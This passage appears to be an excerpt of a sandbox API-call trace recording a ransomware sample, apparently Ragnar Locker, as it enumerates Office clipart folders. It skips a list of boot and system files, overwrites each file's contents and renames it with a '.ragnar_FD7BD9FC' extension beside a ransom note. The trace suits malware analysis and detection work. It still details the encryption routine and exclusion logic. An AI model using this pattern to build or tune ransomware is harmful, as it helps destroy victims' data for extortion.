Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.ragnar_FD7BD9FC" [0093.473] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.474] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0093.474] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.474] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02214_.GIF" | out: lpString1="WB02214_.GIF") returned="WB02214_.GIF" [0093.474] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned=".GIF" [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="autorun.inf") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="boot.ini") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="bootfont.bin") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="bootsect.bak") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="bootmgr") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="bootmgr.efi") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="desktop.ini") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="iconcache.db") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="ntldr") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="ntuser.dat") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="ntuser.ini") returned 1 [0093.474] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="thumbs.db") returned 1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.474] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif")) returned 0x20 [0093.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.475] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4971) returned 1 [0093.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1362, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.475] GetProcessHeap () returned 0x580000 [0093.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.475] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.477] VirtualAlloc (lpAddress=0x0, dwSize=0x136b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.477] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.477] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.477] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x136b, lpOverlapped=0x0) returned 1 [0093.478] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.478] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x136b, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.478] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x136b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x136b, lpOverlapped=0x0) returned 1 [0093.478] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x136b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.478] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.478] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x136b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.478] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.478] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.478] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.478] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.478] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.478] GetProcessHeap () returned 0x580000 [0093.478] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.479] CloseHandle (hObject=0x104) returned 1 [0093.479] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" [0093.479] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.ragnar_FD7BD9FC" [0093.479] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.482] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0093.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.482] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02218_.GIF" | out: lpString1="WB02218_.GIF") returned="WB02218_.GIF" [0093.482] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned=".GIF" [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="autorun.inf") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="boot.ini") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="bootfont.bin") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="bootsect.bak") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="bootmgr") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="bootmgr.efi") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="desktop.ini") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="iconcache.db") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="ntldr") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="ntuser.dat") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="ntuser.ini") returned 1 [0093.482] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="thumbs.db") returned 1 [0093.482] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.483] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif")) returned 0x20 [0093.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.484] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3012) returned 1 [0093.484] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xbbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.484] GetProcessHeap () returned 0x580000 [0093.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.484] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.485] VirtualAlloc (lpAddress=0x0, dwSize=0xbc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.485] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.486] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.486] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbc4, lpOverlapped=0x0) returned 1 [0093.486] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.486] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.486] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbc4, lpOverlapped=0x0) returned 1 [0093.486] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.486] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.486] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.486] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.486] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.486] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.486] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.486] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.487] GetProcessHeap () returned 0x580000 [0093.487] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.487] CloseHandle (hObject=0x104) returned 1 [0093.487] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" [0093.487] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.ragnar_FD7BD9FC" [0093.487] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0093.488] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0093.488] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89f7aea0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.488] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0093.488] lstrcpyW (in: lpString1=0x1eb630, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0093.488] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RGNR_FD7BD9FC.txt") returned=".txt" [0093.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0093.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0093.488] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aec580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.488] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aec580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0093.488] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0093.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0093.488] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 